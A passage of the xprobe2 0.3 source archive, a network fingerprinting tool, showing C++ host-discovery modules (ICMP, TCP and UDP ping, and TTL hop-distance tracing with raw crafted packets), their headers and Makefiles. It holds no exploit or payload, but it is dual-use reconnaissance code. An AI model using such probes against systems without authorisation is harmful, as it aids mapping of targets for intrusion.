authority entries */ unsigned arcount :16; /* number of resource entries */ u_char domainname[DNSREPLYLEN-1]; u_short querytype; u_short queryclass; u_char replyname[DNSREPLYLEN-1]; u_short type; u_short classs; u_long ttl; u_short dl; struct in_addr replydata; }; #define ICMP_UNREACH 3 /* dest unreachable, codes: */ #define ICMP_UNREACH_HOST 1 /* bad host */ #define ICMP_UNREACH_PROTOCOL 2 /* bad protocol */ #define ICMP_UNREACH_PORT 3 /* bad port */ #define ICMP_TIMXCEED 11 /* time exceeded, code: */ #define ICMP_TIMXCEED_INTRANS 0 /* ttl==0 in transit */ #define ICMP_TIMXCEED_REASS 1 /* ttl==0 in reass */ struct icmp_hdr { u_char type; u_char code; u_short checksum; u_int zero; }; struct icmp_ping { u_char type; u_char code; u_short checksum; u_short id; u_short seq; }; #endif /* TTL_PRECALC */ xprobe2-0.3/src/xpmodules/alive_probe/ttl_calc/Makefile.in000755 001751 000000 00000003123 10271643770 024124 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.1 2002/08/08 11:41:42 fygrave Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ CXX=@CXX@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ RANLIB=@RANLIB@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I. -I.. -I../../../ -I ../../../xplib -I ../../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= CXXSOURCES=ttl_calc.cc build_DNS_reply.cc getrandom.cc OBJS=${CXXSOURCES:.cc=.o} ${CSOURCES:.c=.o} all: ttl_mod ttl_mod: $(OBJS) @echo "ttl_mod done" .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c ${CFLAGS} $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/alive_probe/ttl_calc/ttl_calc.cc000755 001751 000000 00000017453 10271643770 024166 0ustar00mederwheel000000 000000 #include #include "ttl_calc.h" #include "util.h" #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "interface.h" #include "cmd_opts.h" extern Interface *ui; extern Cmd_Opts *copts; int TTL_Mod::init (void) { xprobe_mdebug(XPROBE_DEBUG_MODULES, "[TTL_Mod]: Initialized\n"); return OK; } int TTL_Mod::exec (Target *Tgt, OS_Matrix *osmtx) { int ttldistance; if ((ttldistance = get_ttl_distance (Tgt)) > 0) { Tgt->set_distance(ttldistance); osmtx->add_result (get_id(), 1, XPROBE_MATCH_YES); xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] TTL distance to target is: %d\n", get_name(), Tgt->get_distance()); ui->log("[+] TTL distance to target: %d hops\n", Tgt->get_distance()); } else { osmtx->add_result (get_id(), 1, XPROBE_MATCH_NO); xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] TTL distance calculation failed\n", get_name()); } return OK; } int TTL_Mod::fini (void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int TTL_Mod::parse_keyword(int os_id, const char *keyword, const char *value){ xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Parsing for %i : %s = %s\n", get_name(), os_id, keyword, value); return OK; } int ttl_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { TTL_Mod *ttl_mod = new TTL_Mod; ttl_mod->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the TTL precalculation module\n"); /* register module and keywords */ pt->register_module(ttl_mod); return(OK); } int TTL_Mod::get_ttl_distance(Target *tgt) { Xprobe::Timeval timeo; struct in_addr remote = tgt->get_addr(); struct in_addr local = tgt->get_interface_addr(); struct in_addr gateway; struct icmp_hdr *icmph; struct tcphdr *tcph; struct ip *iph; int retval, ttl_distance = 0, failures=0, done = 0; u_char *buf, *udppayload; u_short orig_sport, echoed_sport, echoed_dport; char hname[MAXHOSTLEN]; char filter[BUFSIZE]; bool tcptest=true; bool showroute = tgt->show_route(); // we don't do distance calculation if we don't know any port on target system which // we can trace to. // // and we don't do traceroute if system appeared to be dead based on alive reachability tests if ((double)tgt->get_rtt() == 0.0 || (tgt->get_port(IPPROTO_TCP, XPROBE_TARGETP_OPEN) == -1 && tgt->get_port(IPPROTO_TCP, XPROBE_TARGETP_CLOSED) == -1 && tgt->get_port(IPPROTO_UDP, XPROBE_TARGETP_CLOSED) == -1)) { ui->msg("[-] No distance calculation. %s appears to be dead or no ports known\n", inet_ntoa(tgt->get_addr())); return FAIL; } if (showroute) ui->msg("[%s] Showing route to %s:\n", get_name(), inet_ntoa(tgt->get_addr())); if ( (buf = (u_char *) malloc (BUFSIZE)) == NULL ) { ui->error("get_ttl_distance: failed to malloc()\n"); return (-1); } if ( (udppayload = (u_char *) malloc (sizeof (struct DNSHEADER))) == NULL ) { ui->error("get_ttl_distance: failed to malloc()\n"); return (-1); } memset (buf, 0, BUFSIZE); memset (udppayload, 0, sizeof(struct DNSHEADER)); memset (hname, 0, sizeof(hname)); build_DNS_reply(udppayload); TCP tcp(inet_ntoa(remote)); UDP udp(inet_ntoa(remote)); IP sn(inet_ntoa(local), 123); sn.init_device (tgt->get_interface(), 0, 1024); tcp.set_src(inet_ntoa(local)); tcp.set_id(getrandom(U_INTMAX)); tcp.set_fragoff(IP_DF); if (tgt->get_port(IPPROTO_TCP, XPROBE_TARGETP_OPEN) != -1) tcp.set_dstport(tgt->get_port(IPPROTO_TCP, XPROBE_TARGETP_OPEN)); else tcp.set_dstport(tgt->get_port(IPPROTO_TCP, XPROBE_TARGETP_CLOSED)); snprintf(filter, sizeof(filter), "proto ICMP or src port %d", tcp.get_dstport()); sn.setfilter(filter); tcp.set_flags (TCPPACKETFLAGS); tcp.set_seq (getrandom(U_INTMAX)); tcp.set_ack (0); udp.set_src (inet_ntoa(local)); udp.set_id (getrandom(U_INTMAX)); udp.set_fragoff(IP_DF); //udp.set_srcport (53); udp.set_dstport (tgt->get_port(IPPROTO_UDP, XPROBE_TARGETP_CLOSED)); // We are actually only information gathering module. So if rtt was calculated, the target system is dead // therefore we don't run. Consider it to be dead. :) // for some reason smaller timeout timeouts too quickly :) timeo = ((double)tgt->get_rtt() * 5); // if not 0 tcp.timeout(timeo); udp.timeout(timeo); sn.timeout(timeo); while (1) { orig_sport = getrandom(U_SHORTMAX); if (tcptest) { tcp.set_ttl(ttl_distance + 1); tcp.set_srcport (orig_sport); tcp.sendpack(""); } else { udp.set_ttl(ttl_distance + 1); udp.set_srcport (orig_sport); udp.sendpack((char *)udppayload, sizeof(struct DNSHEADER)); } done = 0; while (!done) { retval = sn.sniffpack(buf, BUFSIZE); if (retval > 0 ) { if (sn.get_proto() == IPPROTO_ICMP && retval >= (int) (sizeof(struct ip) + sizeof (struct icmp_hdr) + 8)) { icmph = (struct icmp_hdr *) buf; // echoed IP header iph = (struct ip *) (buf + sizeof (struct icmp_hdr)); // echoed 64-bits of transport layer data memcpy(&echoed_sport, buf + (sizeof(struct icmp_hdr)+sizeof(struct ip)), sizeof(unsigned short)); memcpy(&echoed_dport, buf + (sizeof(struct icmp_hdr)+sizeof(struct ip)+sizeof(unsigned short)), sizeof(unsigned short)); echoed_sport = ntohs(echoed_sport); echoed_dport = ntohs(echoed_dport); if (icmph->type == ICMP_TIMXCEED && icmph->code == ICMP_TIMXCEED_INTRANS && iph->ip_src.s_addr == local.s_addr && iph->ip_dst.s_addr == remote.s_addr) { // check if it is really the ICMP packet for the // original packet sent if (echoed_sport == orig_sport) { if (showroute) { gateway.s_addr = sn.get_src(); ui->msg("[x] %d hop: %s [%s]\n", ttl_distance, sn.get_src(1, hname, MAXHOSTLEN), inet_ntoa(gateway)); memset(hname, 0, MAXHOSTLEN); } ttl_distance++; break; } } else if (tcptest == false && icmph->type == ICMP_UNREACH && icmph->code == ICMP_UNREACH_PORT && iph->ip_src.s_addr == local.s_addr && iph->ip_dst.s_addr == remote.s_addr) { free (buf); free (udppayload); if (showroute) ui->msg("[x] %d hop: %s [TARGET]\n", ttl_distance, sn.get_src(1, hname, MAXHOSTLEN)); return ttl_distance; } } else if (tcptest == true && sn.get_proto() == IPPROTO_TCP && retval >= (int) sizeof (struct tcphdr) ) { tcph = (struct tcphdr *) buf; if (ntohl (tcph->th_ack) == tcp.get_seq()+1) { free (buf); free (udppayload); if (showroute) ui->msg("[x] %d hop: %s [TARGET]\n", ttl_distance, sn.get_src(1, hname, MAXHOSTLEN)); return ttl_distance; } } } /* this is ugly need something more efficient and nice */ if (sn.timeout()) { if (failures == 2) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] UDP test failed also\n", get_name()); free (buf); free(udppayload); if (showroute) ui->msg("[%s] Failed to reach target\n", get_name()); return (0); } if (tcptest == true && failures == 1) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Switched to UDP test\n", get_name()); tcptest = false; if (showroute) ui->msg("[x] %d hop: *\n", ttl_distance); failures++; done = 1; } if (tcptest == true) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Switching TCP test, now sending to closed port\n", get_name()); tcp.set_dstport(tgt->get_port(IPPROTO_TCP, XPROBE_TARGETP_CLOSED)); tcp.set_tcpsum(0); if (showroute) ui->msg("[x] %d hop: *\n", ttl_distance); failures++; done = 1; } } } /* inside while() */ } /* outside while() */ free (buf); free (udppayload); return 0; } xprobe2-0.3/src/xpmodules/alive_probe/tcp_ping.h000755 001751 000000 00000002616 10271643770 022254 0ustar00mederwheel000000 000000 /* $Id: tcp_ping.h,v 1.3 2003/08/05 03:35:11 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef TCP_PING_H #define TCP_PING_H #include "xprobe.h" #include "xprobe_module.h" class TCP_Ping_Mod: public Xprobe_Module { public: TCP_Ping_Mod(void) : Xprobe_Module(XPROBE_MODULE_ALIVETEST, "ping:tcp_ping","TCP-based ping discovery module") { return; } ~TCP_Ping_Mod(void) { return; } int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); private: }; #endif /* TCP_PING_H */ xprobe2-0.3/src/xpmodules/alive_probe/udp_ping.cc000755 001751 000000 00000010106 10271643770 022405 0ustar00mederwheel000000 000000 /* $Id: udp_ping.cc,v 1.1 2003/08/05 03:35:11 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "usi++/usi++.h" #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "interface.h" #include "cmd_opts.h" #include "target.h" #include "udp_ping.h" extern Interface *ui; extern Cmd_Opts *copts; int UDP_Ping_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int UDP_Ping_Mod::exec(Target *tg, OS_Matrix *os) { char buf[1024]; Xprobe::Timeval tv, t1, t2, tt; struct in_addr local=tg->get_interface_addr(), remote=tg->get_addr(); UDP udpp(inet_ntoa(remote)); int port, ret, done; /* FIXME */ ICMP sn(inet_ntoa(local)); xprobe_debug(XPROBE_DEBUG_MODULES, "--%s module has been executed against: %s\n", get_name(), inet_ntoa(remote)); tv = copts->get_timeout(); if (tg->get_port(IPPROTO_UDP, XPROBE_TARGETP_OPEN) == -1 && tg->get_port(IPPROTO_UDP, XPROBE_TARGETP_CLOSED) == -1) { ui->msg("[-] %s module: no closed/open UDP ports known on %s. Module test failed\n", get_name(), inet_ntoa(remote)); return FAIL; } if ((port = tg->get_port(IPPROTO_UDP, XPROBE_TARGETP_OPEN)) == -1 ) { port = tg->get_port(IPPROTO_UDP, XPROBE_TARGETP_CLOSED); } else { // UDP sn(inet_ntoa(local)); } sn.init_device(tg->get_interface(), 0, 1500); sn.timeout(tv); srand(time(NULL)); udpp.set_src(inet_ntoa(local)); udpp.set_srcport(5555); udpp.set_dstport(port); udpp.set_ttl(64); udpp.set_id(rand()); t1 = Xprobe::Timeval::gettimeofday(); udpp.sendpack(""); done = 0; while(!done) { ret = sn.sniffpack(buf, sizeof(buf)); if (!sn.timeout()) { /* FIXME: lame check */ //printf("got responce: %x %i\n", sn.get_src(), sn.get_id()); if (sn.get_src() == remote.s_addr && sn.get_proto() == IPPROTO_ICMP && sn.get_type() == ICMP_DEST_UNREACH && sn.get_code() == ICMP_PORT_UNREACH) { done = 1; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Got reply.\n", get_name()); } } else { ret = -1; done = 1; // timeout } } t2 = Xprobe::Timeval::gettimeofday(); if (ret > -1) { tt = t2 - t1; xprobe_debug(XPROBE_DEBUG_MODULES, "UDP PING response: %.7f\n", (double)tt); if (tg->get_rtt() < tt) tg->set_rtt(tt); os->add_result(get_id(), 1, XPROBE_MATCH_YES); } else { os->add_result(get_id(), 1, XPROBE_MATCH_NO); } return OK; } int UDP_Ping_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int UDP_Ping_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { xprobe_debug(XPROBE_DEBUG_MODULES, "Parsing for %i : %s = %s\n", os_id, kwd, val); return OK; }; /* initialization function */ int udp_ping_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { UDP_Ping_Mod *module = new UDP_Ping_Mod; module->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the UDP PING module\n"); pt->register_module(module); return OK; } xprobe2-0.3/src/xpmodules/alive_probe/udp_ping.h000755 001751 000000 00000002617 10271643770 022257 0ustar00mederwheel000000 000000 /* $Id: udp_ping.h,v 1.1 2003/08/05 03:35:11 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef UDP_PING_H #define UDP_PING_H #include "xprobe.h" #include "xprobe_module.h" class UDP_Ping_Mod: public Xprobe_Module { public: UDP_Ping_Mod(void) : Xprobe_Module(XPROBE_MODULE_ALIVETEST, "ping:udp_ping", "UDP-based ping discovery module") { return; } ~UDP_Ping_Mod(void) { return; } int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); private: }; #endif /* UDP_PING_H */ xprobe2-0.3/src/xpmodules/alive_probe/icmp_ping.cc000644 001751 000000 00000007327 10271643770 022555 0ustar00mederwheel000000 000000 /* $Id: icmp_ping.cc,v 1.7 2004/10/12 11:30:04 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "usi++/usi++.h" #include #include #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "interface.h" #include "cmd_opts.h" #include "target.h" #include "icmp_ping.h" extern Interface *ui; extern Cmd_Opts *copts; /* initialization function */ int icmp_ping_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { ICMP_Ping_Mod *module = new ICMP_Ping_Mod; xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the ICMP PING module\n"); module->set_name(nm); pt->register_module(module); return OK; } int ICMP_Ping_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int ICMP_Ping_Mod::exec(Target *tg, OS_Matrix *os) { xprobe_debug(XPROBE_DEBUG_MODULES, "--%s module has been executed against: %s\n", get_name(), inet_ntoa(tg->get_addr())); if (do_icmp_ping(tg)) { os->add_result(get_id(), 1, XPROBE_MATCH_YES); } else { os->add_result(get_id(), 1, XPROBE_MATCH_NO); } return OK; } int ICMP_Ping_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int ICMP_Ping_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { xprobe_debug(XPROBE_DEBUG_MODULES, "Parsing for %i : %s = %s\n", os_id, kwd, val); return OK; }; int ICMP_Ping_Mod::do_icmp_ping(Target *tg) { char buf[1024]; Xprobe::Timeval tv; int ret; int done; unsigned short int icmpp_id; struct in_addr local, remote; Xprobe::Timeval t1, t2, tt; // to calc rtt /* our lamyer randomizer ;-p */ srand(time(NULL)); icmpp_id = rand(); local = tg->get_interface_addr(); remote = tg->get_addr(); ICMP icmpp(remote.s_addr); ICMP sn(local.s_addr); sn.init_device(tg->get_interface(), 0, 1500); /* sn.setfilter("icmp[0] = 0");*/ tv = copts->get_timeout(); icmpp.set_src(local.s_addr); icmpp.set_icmpId(icmpp_id); icmpp.set_type(ICMP_ECHO); fflush(stderr); ret = -1; icmpp.timeout(tv); sn.timeout(tv); t1 = Xprobe::Timeval::gettimeofday(); ret = icmpp.send_ping_payload(); done = 0; while (!done) { ret = sn.sniffpack(buf, sizeof(buf)); /* packet response */ if (! sn.timeout() && sn.get_src() == remote.s_addr && sn.get_type() == ICMP_ECHOREPLY && sn.get_icmpId() == icmpp_id) done = 1; if (sn.timeout()) done = 1; /* timeout */ } t2 = Xprobe::Timeval::gettimeofday(); if (! sn.timeout()) { tt = t2 - t1; if (tg->get_rtt() < tt) tg->set_rtt(tt); //if ((double)tg->get_rtt() <= 0.0) // tg->set_rtt(1.0); return 1; } return 0; } xprobe2-0.3/src/xpmodules/alive_probe/icmp_ping.h000755 001751 000000 00000002666 10271643770 022423 0ustar00mederwheel000000 000000 /* $Id: icmp_ping.h,v 1.3 2003/08/05 03:35:11 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef ICMP_PING_H #define ICMP_PING_H #include "xprobe.h" #include "xprobe_module.h" class ICMP_Ping_Mod: public Xprobe_Module { private: int do_icmp_ping(Target *); public: ICMP_Ping_Mod(void) : Xprobe_Module(XPROBE_MODULE_ALIVETEST, "ping:icmp_ping", "ICMP echo discovery module") { return; } ~ICMP_Ping_Mod(void) { return; } int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; #endif /* ICMP_PING_H */ xprobe2-0.3/src/xpmodules/alive_probe/Makefile.in000755 001751 000000 00000003771 10271643770 022350 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.2 2003/08/05 03:35:11 mederchik Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I../ -I../../ -I ../../xplib -I ../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= RANLIB=@RANLIB@ all: alive_probe.a alive_probe.a: icmp_ping.o tcp_ping.o udp_ping.o ttl_module portscan_module ar cr alive_probe.a *.o ttl_calc/*.o portscanner/*.o $(RANLIB) alive_probe.a icmp_ping.o: icmp_ping.cc ${CXX} ${CFLAGS} -c icmp_ping.cc tcp_ping.o: tcp_ping.cc ${CXX} ${CFLAGS} -c tcp_ping.cc udp_ping.o: udp_ping.cc ${CXX} ${CFLAGS} -c udp_ping.cc ttl_module: cd ttl_calc; ${MAKE} portscan_module: cd portscanner; ${MAKE} .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c $(CFLAGS) $< clean: rm -f core *.o *.so rm -f alive_probe.a cd ttl_calc; ${MAKE} clean cd portscanner; ${MAKE} clean distclean: clean rm -f Makefile cd ttl_calc; ${MAKE} distclean cd portscanner; ${MAKE} distclean xprobe2-0.3/src/xpmodules/alive_probe/tcp_ping.cc000755 001751 000000 00000007652 10271643770 022417 0ustar00mederwheel000000 000000 /* $Id: tcp_ping.cc,v 1.3 2003/08/05 03:35:11 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "usi++/usi++.h" #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "interface.h" #include "cmd_opts.h" #include "target.h" #include "tcp_ping.h" extern Interface *ui; extern Cmd_Opts *copts; int TCP_Ping_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int TCP_Ping_Mod::exec(Target *tg, OS_Matrix *os) { char buf[1024]; Xprobe::Timeval tv, t1, t2, tt; struct in_addr local=tg->get_interface_addr(), remote=tg->get_addr(); TCP *tcpp = new TCP(inet_ntoa(remote)); TCP sn(inet_ntoa(local)); int port, ret, done; xprobe_debug(XPROBE_DEBUG_MODULES, "--%s module has been executed against: %s\n", get_name(), inet_ntoa(remote)); tv = copts->get_timeout(); if (tg->get_port(IPPROTO_TCP, XPROBE_TARGETP_OPEN) == -1 && tg->get_port(IPPROTO_TCP, XPROBE_TARGETP_CLOSED) == -1) { ui->msg("[-] %s module: no closed/open TCP ports known on %s. Module test failed\n", get_name(), inet_ntoa(remote)); return FAIL; } if ((port = tg->get_port(IPPROTO_TCP, XPROBE_TARGETP_OPEN)) == -1 ) port = tg->get_port(IPPROTO_TCP, XPROBE_TARGETP_CLOSED); sn.init_device(tg->get_interface(), 0, 1500); sn.timeout(tv); srand(time(NULL)); tcpp->set_src(inet_ntoa(local)); tcpp->set_srcport(rand() + 1024); tcpp->set_dstport(port); tcpp->set_ttl(64); tcpp->set_win(5840); tcpp->set_flags(TH_SYN); //|TH_ACK|TH_PUSH); tcpp->set_tos(0x10); tcpp->set_fragoff(IP_DF); tcpp->set_seq(rand()); t1 = Xprobe::Timeval::gettimeofday(); tcpp->sendpack(""); done = 0; while(!done) { ret = sn.sniffpack(buf, sizeof(buf)); if (!sn.timeout()) { if (sn.get_src() == remote.s_addr && tcpp->get_dstport() == sn.get_srcport() ) { done = 1; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Got reply.\n", get_name()); } } else { ret = -1; done = 1; // timeout } } t2 = Xprobe::Timeval::gettimeofday(); if (ret > -1) { tt = t2 - t1; xprobe_debug(XPROBE_DEBUG_MODULES, "TCP PING response: %.7f\n", (double)tt); if (tg->get_rtt() < tt) tg->set_rtt(tt); os->add_result(get_id(), 1, XPROBE_MATCH_YES); } else { os->add_result(get_id(), 1, XPROBE_MATCH_NO); } return OK; } int TCP_Ping_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int TCP_Ping_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { xprobe_debug(XPROBE_DEBUG_MODULES, "Parsing for %i : %s = %s\n", os_id, kwd, val); return OK; }; /* initialization function */ int tcp_ping_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { TCP_Ping_Mod *module = new TCP_Ping_Mod; module->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the TCP PING module\n"); pt->register_module(module); return OK; } xprobe2-0.3/src/xpmodules/modules_proto000755 001751 000000 00000000000 10271644025 020607 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/modules_proto/test_mod.cc000755 001751 000000 00000004107 10271643770 023026 0ustar00mederwheel000000 000000 /* $Id: test_mod.cc,v 1.2 2003/04/22 20:00:51 fygrave Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "target.h" #include "interface.h" #include "test_mod.h" extern Interface *ui; int Test_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int Test_Mod::exec(Target *tg, OS_Matrix *os) { xprobe_debug(XPROBE_DEBUG_MODULES, "--%s module has been executed against: %s\n", get_name(), inet_ntoa(tg->get_addr())); os->add_result(get_id(), 1, XPROBE_MATCH_YES); return OK; } int Test_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int Test_Mod::parse_keyword(int os_id, char *kwd, char *val) { xprobe_debug(XPROBE_DEBUG_MODULES, "Parsing for %i : %s = %s\n", os_id, kwd, val); return OK; }; /* initialization function */ int test_mod_init(Xprobe_Module_Hdlr *pt) { Test_Mod *test_mod = new Test_Mod; xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the test module\n"); pt->register_module(test_mod); return OK; } xprobe2-0.3/src/xpmodules/modules_proto/test_mod.h000755 001751 000000 00000002516 10271643770 022672 0ustar00mederwheel000000 000000 /* $Id: test_mod.h,v 1.2 2003/04/22 20:00:54 fygrave Exp $ */ /* ** 